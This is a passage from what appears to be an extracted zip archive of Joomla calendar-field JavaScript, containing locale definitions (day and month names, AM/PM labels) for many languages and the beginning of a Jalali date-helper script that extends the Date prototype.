	shortDays : ["Zon", "Maa", "Din", "Woe", "Don", "Vri", "Zat"],
	months : ["Januari", "Februari", "Maart", "April", "Mei", "Juni", "Juli", "Augustus", "September", "Oktober", "November", "December"],
	shortMonths : ["Jan", "Feb", "Maa", "Apr", "Mei", "Jun", "Jul", "Aug", "Sep", "Okt", "Nov", "Dec"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Sluiten",
	clear: "Legen"
};PK!6CE��� js/fields/calendar-locales/pt.jsnu�[���window.JoomlaCalLocale = {
	today : "Hoje",
	weekend : [0, 6],
	wk : "sem",
	time : "Hora:",
	days : ["Domingo", "Segunda-feira", "Terça-feira", "Quarta-feira", "Quinta-feira", "Sexta-feira", "Sábado"],
	shortDays : ["Dom", "Seg", "Ter", "Qua", "Qui", "Sex", "Sab"],
	months : ["Janeiro", "Fevereiro", "Março", "Abril", "Maio", "Junho", "Julho", "Agosto", "Setembro", "Outubro", "Novembro", "Dezembro"],
	shortMonths : ["Jan", "Fev", "Mar", "Abr", "Mai", "Jun", "Jul", "Ago", "Set", "Out", "Nov", "Dez"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Fechar",
	clear: "Limpar"
};
PK!���FF js/fields/calendar-locales/kk.jsnu�[���window.JoomlaCalLocale = {
	today : "Бүгін",
	weekend : [0, 6],
	wk : "апта",
	time : "Уақыт:",
	days : ["Жексенбі", "Дүйсенбі", "Сейсенбі", "Сәрсенбі", "Бейсенбі", "Жұма", "Сенбі"],
	shortDays : ["Жекс", "Дүйс", "Сейс", "Сәрс", "Бейс", "Жұма", "Сенбі"],
	months : ["Қаңтар", "Ақпан", "Наурыз", "Сәуір", "Мамыр", "Маусым", "Шілде", "Тамыз", "Қыркүйек", "Қазан", "Қараша", "Желтоқсан"],
	shortMonths : ["Қаң", "Ақп", "Нау", "Сәу", "Мам", "Мау", "Шіл", "Там", "Қырк", "Қаз", "Қар", "Жел"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Жабу",
	clear: "Өшіру"
};PK!b/�� js/fields/calendar-locales/hu.jsnu�[���window.JoomlaCalLocale = {
	today : "Ma",
	weekend : [0, 6],
	wk : "hét",
	time : "Időpont:",
	days : ["vasárnap", "hétfő", "kedd", "szerda", "csütörtök", "péntek", "szombat"],
	shortDays : ["V", "H", "K", "Sze", "Cs", "P", "Szo"],
	months : ["január", "február", "március", "április", "május", "június", "július", "augusztus", "szeptember", "október", "november", "december"],
	shortMonths : ["jan", "febr", "márc", "ápr", "máj", "jún", "júl", "aug", "szept", "okt", "nov", "dec"],
	AM : "de.",
	PM :  "du.",
	am : "de.",
	pm : "du.",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Bezárás",
	clear: "Törlés"
};PK!�p�\ll js/fields/calendar-locales/sv.jsnu�[���window.JoomlaCalLocale = {
	today : "Idag",
	weekend : [0, 6],
	wk : "vk",
	time : "Tid:",
	days : ["Söndag", "Måndag", "Tisdag", "Onsdag", "Torsdag", "Fredag", "Lördag"],
	shortDays : ["Sön", "Mån", "Tis", "Ons", "Tor", "Fre", "Lör"],
	months : ["Januari", "Februari", "Mars", "April", "Maj", "Juni", "Juli", "Augusti", "September", "Oktober", "November", "December"],
	shortMonths : ["Jan", "Feb", "Mar", "Apr", "Maj", "Jun", "Jul", "Aug", "Sep", "Okt", "Nov", "Dec"],
	AM : "FM",
	PM :  "EM",
	am : "fm",
	pm : "em",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Stäng",
	clear: "Rensa"
};PK!f�=�bb#js/fields/calendar-locales/zh-TW.jsnu�[���window.JoomlaCalLocale = {
	today : "今天",
	weekend : [0, 6],
	wk : "週",
	time : "時間:",
	days : ["日", "一", "二", "三", "四", "五", "六"],
	shortDays : ["日", "一", "二", "三", "四", "五", "六"],
	months : ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"],
	shortMonths : ["一", "二", "三", "四", "五", "六", "七", "八", "九", "十", "十一", "十二"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "關閉",
	clear: "清除"
};
PK!�D�^�� js/fields/calendar-locales/cy.jsnu�[���window.JoomlaCalLocale = {
	today : "Heddiw",
	weekend : [0, 6],
	wk : "wy",
	time : "Amser:",
	days : ["Dydd Sul", "Dydd llun", "Dydd Mawrth", "Dydd Mercher", "Dydd Iau", "Dydd Gwener", "Dydd Sadwrn"],
	shortDays : ["Sul", "Llun", "Maw", "Mer", "Iau", "Gwen", "Sad"],
	months : ["Ionawr", "Chwefror", "Mawrth", "Ebrill", "Mai", "Mehefin", "Gorffennaf", "Awst", "Medi", "Hydref", "Tachwedd", "Rhagfyr"],
	shortMonths : ["Ion", "Chw", "Maw", "Ebr", "Mai", "Meh", "Gor", "Awst", "Medi", "Hyd", "Tach", "Rhag"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Cau",
	clear: "Clirio"
};PK!��6�ss js/fields/calendar-locales/sw.jsnu�[���window.JoomlaCalLocale = {
	today : "Leo",
	weekend : [0, 6],
	wk : "wk",
	time : "Saa:",
	days : ["Jumapili", "Jumatatu", "Jumanne", "Jumatano", "Alhamisi", "Ijumaa", "Jumamosi"],
	shortDays : ["Jmp", "Jmt", "Jmn", "Jtn", "Alh", "Ijm", "Jmm"],
	months : ["Januari", "Februari", "Machi", "Aprili", "Mai", "Juni", "Julai", "Augosti", "Septemba", "Oktoba", "Novemba", "Desemba"],
	shortMonths : ["Jan", "Feb", "Mach", "Apr", "Mai", "Jun", "Jul", "Ago", "Sep", "Okt", "Nov", "Des"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Funga",
	clear: "Safisha"
};PK!z2���#js/fields/calendar-locales/zh-CN.jsnu�[���window.JoomlaCalLocale = {
	today : "今天",
	weekend : [0, 6],
	wk : "星期",
	time : "时间",
	days : ["星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六"],
	shortDays : ["日", "一", "二", "三", "四", "五", "六"],
	months : ["一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"],
	shortMonths : ["一", "二", "三", "四", "五", "六", "七", "八", "九", "十", "十一", "十二"],
	AM : "上午",
	PM :  "下午",
	am : "上午",
	pm : "下午",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "关闭",
	clear: "清除"
};PK!�Ʊ�� js/fields/calendar-locales/ta.jsnu�[���window.JoomlaCalLocale = {
	today : "இன்று",
	weekend : [0, 6],
	wk : "வா",
	time : "நேரம்:",
	days : ["ஞாயிறு", "திங்கள்", "செவ்வாய்", "புதன்", "வியாழன்", "வெள்ளி", "சனி"],
	shortDays : ["ஞா", "தி", "செ", "பு", "வி", "வெ", "ச"],
	months : ["ஜனவரி", "பிப்ரவரி", "மார்ச்", "ஏப்ரல்", "மே", "ஜூன்", "ஜூலை", "ஆகஸ்ட்", "செப்டம்பர்", "அக்டோபர்", "நவம்பர்", "டிசம்பர்"],
	shortMonths : ["ஜன", "பிப்", "மார்", "ஏப்", "மே", "ஜூன்", "ஜூலை", "ஆக", "செப்", "அக்", "நவ", "டிச"],
	AM : "முப",
	PM : "பிப",
	am : "முப",
	pm : "பிப",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "மூடுக",
	clear: "துடைக்க"
};PK!��Z js/fields/calendar-locales/fr.jsnu�[���window.JoomlaCalLocale = {
	today : "Aujourd'hui",
	weekend : [0, 6],
	wk : "wk",
	time : "Heure&nbsp;:",
	days : ["Dimanche", "Lundi", "Mardi", "Mercredi", "Jeudi", "Vendredi", "Samedi"],
	shortDays : ["Dim", "Lun", "Mar", "Mer", "Jeu", "Ven", "Sam"],
	months : ["Janvier", "Février", "Mars", "Avril", "Mai", "Juin", "Juillet", "Août", "Septembre", "Octobre", "Novembre", "Décembre"],
	shortMonths : ["Jan", "Fév", "Mar", "Avr", "Mai", "Jui", "Juol", "Aoû", "Sep", "Oct", "Nov", "Déc"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Fermer",
	clear: "Effacer"
};PK!��A��� js/fields/calendar-locales/ar.jsnu�[���window.JoomlaCalLocale = {
	today : "اليوم",
	weekend : [6, 5],
	wk : "الأسبوع",
	time : "الساعة:",
	days : ["الأحد", "الإثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت"],
	shortDays : ["الأحد", "الإثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت"],
	months : ["كانون الثّاني", "شباط", "آذار", "نيسان", "أيّار", "حزيران", "تمّوز", "آب", "أيلول", "تشرين الأوّل", "تشرين الثّاني", "كانون الأوّل"],
	shortMonths : ["كانون الثّاني", "شباط", "آذار", "نيسان", "أيّار", "حزيران", "تمّوز", "آب", "أيلول", "تشرين الأوّل", "تشرين الثّاني", "كانون الأوّل"],
	AM : "ق‌ظ",
	PM :  "ب‌ظ",
	am : "ق‌ظ",
	pm : "ب‌ظ",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "إغلاق",
	clear: "الغاء"
};PK!�N!�44#js/fields/calendar-locales/sr-rs.jsnu�[���window.JoomlaCalLocale = {
	today : "Данас",
	weekend : [0, 6],
	wk : "нед",
	time : "Време:",
	days : ["Недеља", "Понедељак", "Уторак", "Среда", "Четвртак", "Петак", "Субота"],
	shortDays : ["Нед", "Пон", "Уто", "Сре", "Чет", "Пет", "Суб"],
	months : ["Јануар", "Фенруар", "Март", "Април", "Мај", "Јуни", "Јули", "Август", "Септембар", "Октобар", "Новембар", "Децембар"],
	shortMonths : ["Јан", "Феб", "Мар", "Апр", "Мај", "Јун", "Јул", "Авг", "Сеп", "Окт", "Нов", "Дец"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Затвори",
	clear: "Зачувај"
};PK!���(�� js/fields/calendar-locales/el.jsnu�[���window.JoomlaCalLocale = {
	today : "Σήμερα",
	weekend : [0, 6],
	wk : "εβδ.",
	time : "Ώρα:",
	days : ["Κυριακή", "Δευτέρα", "Τρίτη", "Τετάρτη", "Πέμπτη", "Παρασκευή", "Σάββατο"],
	shortDays : ["Κυρ", "Δευ", "Τρι", "Τετ", "Πεμ", "Παρ", "Σαβ"],
	months : ["Ιανουάριος", "Φεβρουάριος", "Μάρτιος", "Απρίλιος", "Μάιος", "Ιούνιος", "Ιούλιος", "Αύγουστος", "Σεπτέμβριος", "Οκτώβριος", "Νοέμβριος", "Δεκέμβριος"],
	shortMonths : ["Ιαν", "Φεβ", "Μαρ", "Απρ", "Μαϊ", "Ιουν", "Ιουλ", "Αυγ", "Σεπ", "Οκτ", "Νοε", "Δεκ"],
	AM : "ΠΜ",
	PM :  "ΜΜ",
	am : "πμ",
	pm : "μμ",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Κλείσιμο",
	clear: "Καθαρισμός"
};PK!R9lr<< js/fields/calendar-locales/mk.jsnu�[���window.JoomlaCalLocale = {
	today : "Денес",
	weekend : [0, 6],
	wk : "нед",
	time : "Време:",
	days : ["Недела", "Понеделник", "Вторник", "Среда", "Четврток", "Петок", "Сабота"],
	shortDays : ["Нед", "Пон", "Вто", "Сре", "Чет", "Пет", "Саб"],
	months : ["Јануари", "Февруари", "Март", "Април", "Мај", "Јуни", "Јули", "Август", "Септември", "Октомври", "Ноември", "Декември"],
	shortMonths : ["Јан", "Фев", "Мар", "Апр", "Мај", "Јун", "Јул", "Авг", "Сеп", "Окт", "Ное", "Дек"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Затвори",
	clear: "Зачувај"
};PK!��d�� js/fields/calendar-locales/hr.jsnu�[���window.JoomlaCalLocale = {
	today : "Danas",
	weekend : [0, 6],
	wk : "tj",
	time : "Vrijeme:",
	days : ["Nedjelja", "Ponedjeljak", "Utorak", "Srijeda", "Četvrtak", "Petak", "Subota"],
	shortDays : ["Ned", "Pon", "Uto", "Sri", "Čet", "Pet", "Sub"],
	months : ["Siječanj", "Veljača", "Ožujak", "Travanj", "Svibanj", "Lipanj", "Srpanj", "Kolovoz", "Rujan", "Listopad", "Studeni", "Prosinac"],
	shortMonths : ["Sij", "Velj", "Ožu", "Tra", "Svi", "Lip", "Srp", "Kol", "Ruj", "Lis", "Stu", "Pro"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Zatvori",
	clear: "Otkaži"
};PK!Q�"5�� js/fields/calendar-locales/pl.jsnu�[���window.JoomlaCalLocale = {
	today : "Dzisiaj",
	weekend : [0, 6],
	wk : "tydz",
	time : "Godzina:",
	days : ["Niedziela", "Poniedziałek", "Wtorek", "Środa", "Czwartek", "Piątek", "Sobota"],
	shortDays : ["nie.", "pon.", "wt.", "śr.", "czw.", "pt.", "sob."],
	months : ["Styczeń", "Luty", "Marzec", "Kwiecień", "Maj", "Czerwiec", "Lipiec", "Sierpień", "Wrzesień", "Październik", "Listopad", "Grudzień"],
	shortMonths : ["Sty", "Lut", "Mar", "Kwi", "Maj", "Cze", "Lip", "Sie", "Wrz", "Paź", "Lis", "Gru"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Zamknij",
	clear: "Wyczyść"
};PK!-<��nn js/fields/calendar-locales/nb.jsnu�[���window.JoomlaCalLocale = {
	today : "Dagens dato",
	weekend : [0, 6],
	wk : "Uke",
	time : "Tid:",
	days : ["Søndag", "Mandag", "Tirsdag", "Onsdag", "Torsdag", "Fredag", "Lørdag"],
	shortDays : ["Søn", "Man", "Tir", "Ons", "Tor", "Fre", "Lør"],
	months : ["Januar", "Februar", "Mars", "April", "Mai", "Juni", "Juli", "August", "September", "Oktober", "November", "Desember"],
	shortMonths : ["Jan", "Feb", "Mar", "Apr", "Mai", "Jun", "Jul", "Aug", "Sep", "Okt", "Nov", "Des"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Lukk",
	clear: "Tøm"
};
PK!kn�}} js/fields/calendar-locales/it.jsnu�[���window.JoomlaCalLocale = {
	today : "Oggi",
	weekend : [0, 6],
	wk : "set",
	time : "Ora:",
	days : ["Domenica", "Lunedì", "Martedì", "Mercoledì", "Giovedì", "Venerdì", "Sabato"],
	shortDays : ["Dom", "Lun", "Mar", "Mer", "Gio", "Ven", "Sab"],
	months : ["Gennaio", "Febbraio", "Marzo", "Aprile", "Maggio", "Giugno", "Luglio", "Agosto", "Settembre", "Ottobre", "Novembre", "Dicembre"],
	shortMonths : ["Gen", "Feb", "Mar", "Apr", "Mag", "Giu", "Lug", "Ago", "Set", "Ott", "Nov", "Dic"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Chiudi",
	clear: "Annulla"
};PK!I`'�;; js/fields/calendar-locales/ru.jsnu�[���window.JoomlaCalLocale = {
	today : "Сегодня",
	weekend : [0, 6],
	wk : "нед",
	time : "Время:",
	days : ["Воскресенье", "Понедельник", "Вторник", "Среда", "Четверг", "Пятница", "Суббота"],
	shortDays : ["Вс", "Пн", "Вт", "Ср", "Чт", "Пт", "Сб"],
	months : ["Январь", "Февраль", "Март", "Апрель", "Май", "Июнь", "Июль", "Август", "Сентябрь", "Октябрь", "Ноябрь", "Декабрь"],
	shortMonths : ["Янв", "Фев", "Мар", "Апр", "Май", "Июн", "Июл", "Авг", "Сен", "Окт", "Ноя", "Дек"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Закрыть",
	clear: "Очистить"
};
PK!�Sq��� js/fields/calendar-locales/ko.jsnu�[���window.JoomlaCalLocale = {
	today : "오늘",
	weekend : [0, 6],
	wk : "wk",
	time : "시간:",
	days : ["일요일", "월요일", "화요일", "수요일", "목요일", "금요일", "토요일"],
	shortDays : ["일", "월", "화", "수", "목", "금", "토"],
	months : ["1월", "2월", "3월", "4월", "5월", "6월", "7월", "8월", "9월", "10월", "11월", "12월"],
	shortMonths : ["1월", "2월", "3월", "4월", "5월", "6월", "7월", "8월", "9월", "10월", "11월", "12월"],
	AM : "오전",
	PM :  "오후",
	am : "오전",
	pm : "오후",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "닫기",
	clear: "Clear"
};PK!�%�
nn js/fields/calendar-locales/en.jsnu�[���window.JoomlaCalLocale = {
	today : "Today",
	weekend : [0, 6],
	wk : "wk",
	time : "Time:",
	days : ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"],
	shortDays : ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"],
	months : ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"],
	shortMonths : ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Close",
	clear: "Clear"
};PK!��� js/fields/calendar-locales/bn.jsnu�[���window.JoomlaCalLocale = {
	today : "আজ",
	weekend : [0, 6],
	wk : "সপ্তাহ",
	time : "সময়:",
	days : ["রবিবার", "সোমবার", "মঙ্গলবার", "বুধবার", "বৃহস্পতিবার", "শুক্রবার", "শনিবার"],
	shortDays : ["রবি", "সোম", "মঙ্গল", "বুধ", "বৃহস্পতি", "শুক্র", "শনি"],
	months : ["জানুয়ারি", "ফেব্রুয়ারি", "মার্চ", "এপ্রিল", "মে", "জুন", "জুলাই", "আগস্ট", "সেপ্টেম্বর", "অক্টোবর", "নভেম্বর", "ডিসেম্বর"],
	shortMonths : ["জানুয়ারি", "ফেব্রুয়ারি", "মার্চ", "এপ্রিল", "মে", "জুন", "জুলাই", "আগস্ট", "সেপ্টেম্বর", "অক্টোবর", "নভেম্বর", "ডিসেম্বর"],
	AM : "পূর্বাহ্ণ",
	PM : "অপরাহ্ন",
	am : "পূর্বাহ্ণ",
	pm : "অপরাহ্ন",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "প্রস্থান",
	clear: "সংরক্ষণ"
};PK!~�� js/fields/calendar-locales/ga.jsnu�[���window.JoomlaCalLocale = {
	today : "Inniu",
	weekend : [0, 6],
	wk : "7n",
	time : "Am:",
	days : ["Dé Domhnaigh", "Dé Luain", "Dé Máirt", "Dé Céadaoin", "Déardaoin", "Dé hAoine", "Dé Sathairn"],
	shortDays : ["Domh", "Luan", "Máirt", "Céad", "Déar", "Aoine", "Sath"],
	months : ["Eanáir", "Feabhra", "Márta", "Aibreán", "Bealtaine", "Meitheamh", "Iúil", "Lúnasa", "Meán Fómhair", "Deireadh Fómhair", "Samhain", "Nollaig"],
	shortMonths : ["Ean", "Feabh", "Márta", "Aib", "Beal", "Meith", "Iúil", "Lún", "MFómh", "DFómh", "Samh", "Noll"],
	AM : "AM",
	PM :  "PM",
	am : "am",
	pm : "pm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Dún",
	clear: "Glan"
};
PK!}��nn js/fields/calendar-locales/af.jsnu�[���window.JoomlaCalLocale = {
	today : "Vandag",
	weekend : [0, 6],
	wk : "wk",
	time : "Tyd:",
	days : ["Sondag", "Maandag", "Dinsdag", "Woensdag", "Donnerdag", "Vrydag", "Saterdag"],
	shortDays : ["So", "Ma", "Di", "Wo", "Do", "Vr", "Sa"],
	months : ["Januarie", "Februarie", "Maart", "April", "Mei", "Junie", "Julie", "Augustus", "September", "Oktober", "November", "Desember"],
	shortMonths : ["Jan", "Feb", "Mar", "Apr", "Mei", "Jun", "Jul", "Aug", "Sep", "Okt", "Nov", "Des"],
	AM : "VM",
	PM : "NM",
	am : "vm",
	pm : "nm",
	dateType : "gregorian",
	minYear : 1900,
	maxYear : 2100,
	exit: "Sluit",
	clear: "Stoor"
};
PK!��CNCN5js/fields/calendar-locales/date/jalali/date-helper.jsnu�[���/** BEGIN: DATE OBJECT PATCHES **/
/** Adds the number of days array to the Date object. */
Date.gregorian_MD = [31,28,31,30,31,30,31,31,30,31,30,31];
Date.local_MD     = [31, 31, 31, 31, 31, 31, 30, 30, 30, 30, 30, 29];

/** Constants used for time computations */
Date.SECOND = 1000 /* milliseconds */;
Date.MINUTE = 60 * Date.SECOND;
Date.HOUR   = 60 * Date.MINUTE;
Date.DAY    = 24 * Date.HOUR;
Date.WEEK   =  7 * Date.DAY;

/** MODIFY ONLY THE MARKED PARTS OF THE METHODS **/
/************ START *************/
/** INTERFACE METHODS FOR THE CALENDAR PICKER **/

/********************** *************************/
/**************** SETTERS ***********************/
/********************** *************************/

/** Sets the date for the current date without h/m/s. */
Date.prototype.setLocalDateOnly = function (dateType, date) {
	if (dateType != 'gregorian') {
		/** Modify to match the current calendar when overriding **/
		return '';
	} else {
		var tmp = new Date(date);
		this.setDate(1);
		this.setFullYear(tmp.getFullYear());
		this.setMonth(tmp.getMonth());
		this.setDate(tmp.getDate());
	}
};

/** Sets the full date for the current date. */
Date.prototype.setLocalDate = function (dateType, d) {
	if (dateType != 'gregorian') {
		/** Modify to match the current calendar when overriding **/
		return this.setJalaliDate(d);
	} else {
		return this.setDate(d);
	}
};

/** Sets the month for the current date. */
Date.prototype.setLocalMonth = function (dateType, m, d) {
	if (dateType != 'gregorian') {
		/** Modify to match the current calendar when overriding **/
		return this.setJalaliMonth(m, d);
	} else {
		if (d == undefined) this.getDate();
		return this.setMonth(m);
	}
};

/** Sets the year for the current date. */
Date.prototype.setOtherFullYear = function(dateType, y) {
	if (dateType != 'gregorian') {
		/** Modify to match the current calendar when overriding **/
		var date = new Date(this);
		date.setLocalFullYear(y);
		if (date.getLocalMonth('jalali') != this.getLocalMonth('jalali')) this.setLocalDate('jalali', 29);
		return this.setLocalFullYear('jalali', y);
	} else {
		var date = new Date(this);
		date.setFullYear(y);
		if (date.getMonth() != this.getMonth()) this.setDate(28);
		return this.setUTCFullYear(y);
	}
};

/** Sets the year for the current date. */
Date.prototype.setLocalFullYear = function (dateType, y) {
	if (dateType != 'gregorian') {
		/** Modify to match the current calendar when overriding **/
		return this.setJalaliFullYear(y);
	} else {
		var date = new Date(this);
		date.setFullYear(y);
		if (date.getMonth() != this.getMonth()) this.setDate(28);
		return this.setFullYear(y);
	}
};

/********************** *************************/
/**************** GETTERS ***********************/
/********************** *************************/

/** The number of days per week **/
Date.prototype.getLocalWeekDays = function (dateType, y) {
	if (dateType != 'gregorian') {
		/** Modify to match the current calendar when overriding **/
		return 6;
	} else {
		return 6; // 7 days per week
	}
};

/** Returns the year for the current date. */
Date.prototype.getOtherFullYear = function (dateType) {
	if (dateType != 'gregorian') {
		/** Modify to match the current calendar when overriding **/
		return this.getJalaliFullYear();
	} else {
		return this.getFullYear();
	}
};

/** Returns the year for the current date. */
Date.prototype.getLocalFullYear = function (dateType) {
	if (dateType != 'gregorian') {
		/** Modify to match the current calendar when overriding **/
		return this.getJalaliFullYear();
	} else {
		return this.getFullYear();
	}
};

/** Returns the month the date. */
Date.prototype.getLocalMonth = function (dateType) {
	if (dateType != 'gregorian') {
		/** Modify to match the current calendar when overriding **/
		return this.getJalaliMonth();
	} else {
		return this.getMonth();
	}
};

/** Returns the date. */
Date.prototype.getLocalDate = function (dateType) {
	if (dateType != 'gregorian') {
		/** Modify to match the current calendar when overriding **/
		return this.getJalaliDate();
	} else {
		return this.getDate();
	}
};

/** Returns the number of day in the year. */
Date.prototype.getLocalDay = function(dateType) {
	if (dateType  != 'gregorian') {
		return this.getJalaliDay();
	} else {
		return this.getDay();
	}
};

/** Returns the number of days in the current month */
Date.prototype.getLocalMonthDays = function(dateType, month) {
	if (dateType != 'gregorian') {
		/** Modify to match the current calendar when overriding **/
		var year = this.getLocalFullYear('jalali');
		if (typeof month == "undefined") {
			month = this.getLocalMonth('jalali');
		}
		if (((0 == (year%4)) && ( (0 != (year%100)) || (0 == (year%400)))) && month == 1) {
			return 29;
		} else {
			return Date.local_MD[month];
		}
	} else {
		var year = this.getFullYear();
		if (typeof month == "undefined") {
			month = this.getMonth();
		}
		if (((0 == (year%4)) && ( (0 != (year%100)) || (0 == (year%400)))) && month == 1) {
			return 29;
		} else {
			return Date.gregorian_MD[month];
		}
	}
};

/** Returns the week number for the current date. */
Date.prototype.getLocalWeekNumber = function(dateType) {
	if (dateType != 'gregorian') {
		var d = new Date(this.getFullYear(), this.getMonth(), this.getDate(), 0, 0, 0);
		var DoW = d.getDay();
		d.setDate(d.getDate() - (DoW + 6) % 7 + 3);                                     // Nearest Thu
		var ms = d.valueOf();                                                           // GMT
		d.setMonth(0);
		d.setDate(4);                                                                   // Thu in Week 1
		return Math.round((ms - d.valueOf()) / (7 * 864e5)) + 1;
	} else {
		var d = new Date(this.getFullYear(), this.getMonth(), this.getDate(), 0, 0, 0);
		var DoW = d.getDay();
		d.setDate(d.getDate() - (DoW + 6) % 7 + 3);                                     // Nearest Thu
		var ms = d.valueOf();                                                           // GMT
		d.setMonth(0);
		d.setDate(4);                                                                   // Thu in Week 1
		return Math.round((ms - d.valueOf()) / (7 * 864e5)) + 1;
	}
};

/** Returns the number of day in the year. */
Date.prototype.getLocalDayOfYear = function(dateType) {
	if (dateType  != 'gregorian') {
		var now = new Date(this.getOtherFullYear(dateType), this.getLocalMonth(dateType), this.getLocalDate(dateType), 0, 0, 0);
		var then = new Date(this.getOtherFullYear(dateType), 0, 0, 0, 0, 0);
		var time = now - then;
		return Math.floor(time / Date.DAY);
	} else {
		var now = new Date(this.getFullYear(), this.getMonth(), this.getDate(), 0, 0, 0);
		var then = new Date(this.getFullYear(), 0, 0, 0, 0, 0);
		var time = now - then;
		return Math.floor(time / Date.DAY);
	}
};

/** Returns the number of days in the current month */
Date.prototype.getMonthDays = function(month) {
	var year = this.getFullYear();
	if (typeof month == "undefined") {
		month = this.getMonth();
	}
	if (((0 == (year%4)) && ( (0 != (year%100)) || (0 == (year%400)))) && month == 1) {
		return 29;
	} else {
		if (Date.dateType != 'gregorian') {
			return Date.local_MD[month];
		} else {
			return Date.gregorian_MD[month];
		}
	}
};

/** Checks date and time equality */
Date.prototype.equalsTo = function(date) {
	return ((this.getFullYear() == date.getFullYear()) &&
	(this.getMonth() == date.getMonth()) &&
	(this.getDate() == date.getDate()) &&
	(this.getHours() == date.getHours()) &&
	(this.getMinutes() == date.getMinutes()));
};

/** Converts foreign date to gregorian date. */
Date.localCalToGregorian = function(y, m, d) {
	/** Modify to match the current calendar when overriding **/
	return JalaliDate.jalaliToGregorian(y, m, d);
};

/** Converts gregorian date to foreign date. */
Date.gregorianToLocalCal = function(y, m, d) {
	/** Modify to match the current calendar when overriding **/
	return JalaliDate.gregorianToJalali(y, m, d);
};

/** Method to convert numbers from local symbols to English numbers. */
Date.numbersToIso = function(str) {
	var i, nums =[0,1,2,3,4,5,6,7,8,9];
	str = str.toString();

	if (Object.prototype.toString.call(JoomlaCalLocale.localLangNumbers) === '[object Array]') {
		for (i = 0; i < nums.length; i++) {
			str = str.replace(new RegExp(JoomlaCalLocale.localLangNumbers[i], 'g'), nums[i]);
		}
	}
	return str;
};
/** INTERFACE METHODS FOR THE CALENDAR PICKER **/
/************* END **************/

/** Prints the date in a string according to the given format. */
Date.prototype.print = function (str, dateType, translate) {
	/** Handle calendar type **/
	if (typeof dateType !== 'string') str = '';
	if (!dateType) dateType = 'gregorian';

	/** Handle wrong format **/
	if (typeof str !== 'string') str = '';
	if (!str) return '';


	if (this.getLocalDate(dateType) == 'NaN' || !this.getLocalDate(dateType)) return '';
	var m = this.getLocalMonth(dateType);
	var d = this.getLocalDate(dateType);
	var y = this.getLocalFullYear(dateType);
	var wn = this.getLocalWeekNumber(dateType);
	var w = this.getLocalDay(dateType);
	var s = {};
	var hr = this.getHours();
	var pm = (hr >= 12);
	var ir = (pm) ? (hr - 12) : hr;
	var dy = this.getLocalDayOfYear(dateType);
	if (ir == 0)
		ir = 12;
	var min = this.getMinutes();
	var sec = this.getSeconds();
	s["%a"] = JoomlaCalLocale.shortDays[w];                                                     // abbreviated weekday name
	s["%A"] = JoomlaCalLocale.days[w];                                                          // full weekday name
	s["%b"] = JoomlaCalLocale.shortMonths[m];                                                   // abbreviated month name
	s["%B"] = JoomlaCalLocale.months[m];                                                        // full month name
	// FIXME: %c : preferred date and time representation for the current locale
	s["%C"] = 1 + Math.floor(y / 100);                                                          // the century number
	s["%d"] = (d < 10) ? ("0" + d) : d;                                                         // the day of the month (range 01 to 31)
	s["%e"] = d;                                                                                // the day of the month (range 1 to 31)
	// FIXME: %D : american date style: %m/%d/%y
	// FIXME: %E, %F, %G, %g, %h (man strftime)
